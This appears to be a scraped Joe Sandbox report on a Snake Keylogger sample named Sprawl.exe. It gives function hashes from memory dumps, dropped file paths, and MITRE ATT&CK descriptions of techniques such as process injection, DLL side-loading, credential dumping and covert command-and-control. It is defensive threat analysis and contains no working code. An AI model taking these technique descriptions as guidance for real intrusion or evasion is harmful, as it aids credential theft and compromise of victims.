Snapshot File: hcaresult_9_2_3230000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77cf100ac8f82fddc9473d4e492c6cdb95580e81b5ba1a442370ae8c8ae24fd4
Instruction ID: 2d98e8e7fd22820bbff17e00c33cb1a4fc648b71f438970dbdc4e8afe237f556
Opcode Fuzzy Hash: 77cf100ac8f82fddc9473d4e492c6cdb95580e81b5ba1a442370ae8c8ae24fd4
Instruction Fuzzy Hash: BD115B74D1824A9FCF01EFA4D8455AEBBB1FF4A300F0081A6D910AB355E7349A55DF91

Function 256A49F0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3386285011.00000000256A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 256A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_256a0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 785c46fa344df5180af9a76a53de3d6d6256cd07d6071e1ca8ff82b20c9534f0
Instruction ID: ed1e215f09033d56497a143f31dfe9e06af755ab4497907eb489e7d966d73f74
Opcode Fuzzy Hash: 785c46fa344df5180af9a76a53de3d6d6256cd07d6071e1ca8ff82b20c9534f0
Instruction Fuzzy Hash: EBF046377083045FCB092B74DC0896D3B9AEBC9621B10402AEA0BC7B85DE39DC43C7A5

Function 256A44CF Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3386285011.00000000256A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 256A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_256a0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 637cac7a89b1f0f79585e9d76c482fc45f67d40f42b4144cd43feffd973ae569
Instruction ID: a2451614f09d158c2839429d1a3274a57f432003e00a035d359d146a8459e24d
Opcode Fuzzy Hash: 637cac7a89b1f0f79585e9d76c482fc45f67d40f42b4144cd43feffd973ae569
Instruction Fuzzy Hash: A9F054769102089F8B50DFA9D84199FBFFAFF88350B50452AD609D7600DB70AE56CBD2

Function 256A44E0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3386285011.00000000256A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 256A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_256a0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e2eb62ba46a5297f555066174d0568d8b358ff904274014ac66c00170a8b232
Instruction ID: 72355fc0a34a81a24b00b21a2a3133c494f21ea979496770f789879a315adc65
Opcode Fuzzy Hash: 0e2eb62ba46a5297f555066174d0568d8b358ff904274014ac66c00170a8b232
Instruction Fuzzy Hash: 5CF019759002089F8B54DFADD84099FFFF5FF98250B50452AD505D3611D6706D1587E1

Function 256A49E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3386285011.00000000256A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 256A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_256a0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce932b5a21c7984d233561d441d8c358844dfdd0abf3f07000bfe31090c44e0b
Instruction ID: 936cbe3bbfa05464690ce6522a51c3964d045396a72a7e20477ce6f8df6ccaee
Opcode Fuzzy Hash: ce932b5a21c7984d233561d441d8c358844dfdd0abf3f07000bfe31090c44e0b
Instruction Fuzzy Hash: 52D02B771440554EE200C314FD41F68B744E790317F245522D317C5C3EC625EC55C904

Function 032328A3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3357999659.0000000003230000.00000040.00000800.00020000.00000000.sdmp, Offset: 03230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3230000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb3de7c5060754514bd82b992780539d4b1c478ddeffed3dfc72f906d4548d76
Instruction ID: fea8d21f7023ed5868981ff4f64c703b022ed6662fa8ec27cac8df40664b3e76
Opcode Fuzzy Hash: cb3de7c5060754514bd82b992780539d4b1c478ddeffed3dfc72f906d4548d76
Instruction Fuzzy Hash: 5BE02035E653A78AC701D7F0AC100EEBB34AD821117084A9BD46177041DB301219C761

Function 03236739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3357999659.0000000003230000.00000040.00000800.00020000.00000000.sdmp, Offset: 03230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3230000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d2aa80bc6950309ad75108f01474bff149684451efa397b515f378af606e3e
Instruction ID: 9d9d30213af5850c54ae1d1b1c872d9edc831f45873a380a4923808a39085e22
Opcode Fuzzy Hash: 01d2aa80bc6950309ad75108f01474bff149684451efa397b515f378af606e3e
Instruction Fuzzy Hash: 76E046308183468FC70BAB758859048BF2AEE82200B0199E9D9858F24AEEB82855C7A1

Function 032328B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3357999659.0000000003230000.00000040.00000800.00020000.00000000.sdmp, Offset: 03230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3230000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00acbc23b487b520e0c62b7fc7642ef390ac45ebd6123ea5555183f00af7a5ce
Instruction ID: 73aaf64c7bb5018b7e65ebf16bc7ffe48f22b4e9635f271f6c0d446ca8962ddd
Opcode Fuzzy Hash: 00acbc23b487b520e0c62b7fc7642ef390ac45ebd6123ea5555183f00af7a5ce
Instruction Fuzzy Hash: 57D02B31D2022B53CB00E7A1FC004DFF738EEC1220B404222E91033000FB302658C6F0

Function 0323D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3357999659.0000000003230000.00000040.00000800.00020000.00000000.sdmp, Offset: 03230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3230000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7eb4e8de736d767f8ee6baa9136535a79d75f3e0b8514eefd25949e45fdb2c6
Instruction ID: 7e9e083d698457b0d71335b41a9a0fada37ad614b27c5ba612c84b3756e7db3e
Opcode Fuzzy Hash: b7eb4e8de736d767f8ee6baa9136535a79d75f3e0b8514eefd25949e45fdb2c6
Instruction Fuzzy Hash: BED04275E54109CBCB24DFA8E4844DCFB75EF89321B10542AD926E3251DA7854558F11

Function 0323AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3357999659.0000000003230000.00000040.00000800.00020000.00000000.sdmp, Offset: 03230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3230000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2be23d4a78affb142c5f954bc7e3eb62cdc2c114323b656caf39b8fa84862d06
Instruction ID: 19d3e0e93cbd9620b98fccda7ac8722902432211dff839334170fb09533e123f
Opcode Fuzzy Hash: 2be23d4a78affb142c5f954bc7e3eb62cdc2c114323b656caf39b8fa84862d06
Instruction Fuzzy Hash: 07D0673AB401089FCB049F98E8409DDF7B6FB98221B448526ED15E3264C631A925DB50

Function 03236748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3357999659.0000000003230000.00000040.00000800.00020000.00000000.sdmp, Offset: 03230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3230000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a904ab883a61393105e3a4dd0d8c13961ef14eee46617d6ab12584b16bfa15e0
Instruction ID: 57262520f5f2bdb204d248128668c785212589bc31681c5269120fda3b61455f
Opcode Fuzzy Hash: a904ab883a61393105e3a4dd0d8c13961ef14eee46617d6ab12584b16bfa15e0
Instruction Fuzzy Hash: 95C012308543098AD509FB75DC485553B5AAAC1300B40A95C9A0A5A54DDFFC6845CB90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Sprawl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30wvgj0h.wbn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwgsrsy0.q5t.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f23y1j4c.yt0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_itlgu4z0.y4p.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhi4ov11.xlu.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pv0eukwh.l1v.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwr55imd.0rq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wl5iocnr.qtb.psm1

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\unnamed.jpg

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\psychograph.rut

Windows Analysis Report
Sprawl.exe

Function 0040310F Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Function 004048C5 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481
windowmemoryCOMMON

Function 00404352 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 274
stringCOMMON

Function 00405D51 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Function 004055D1 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre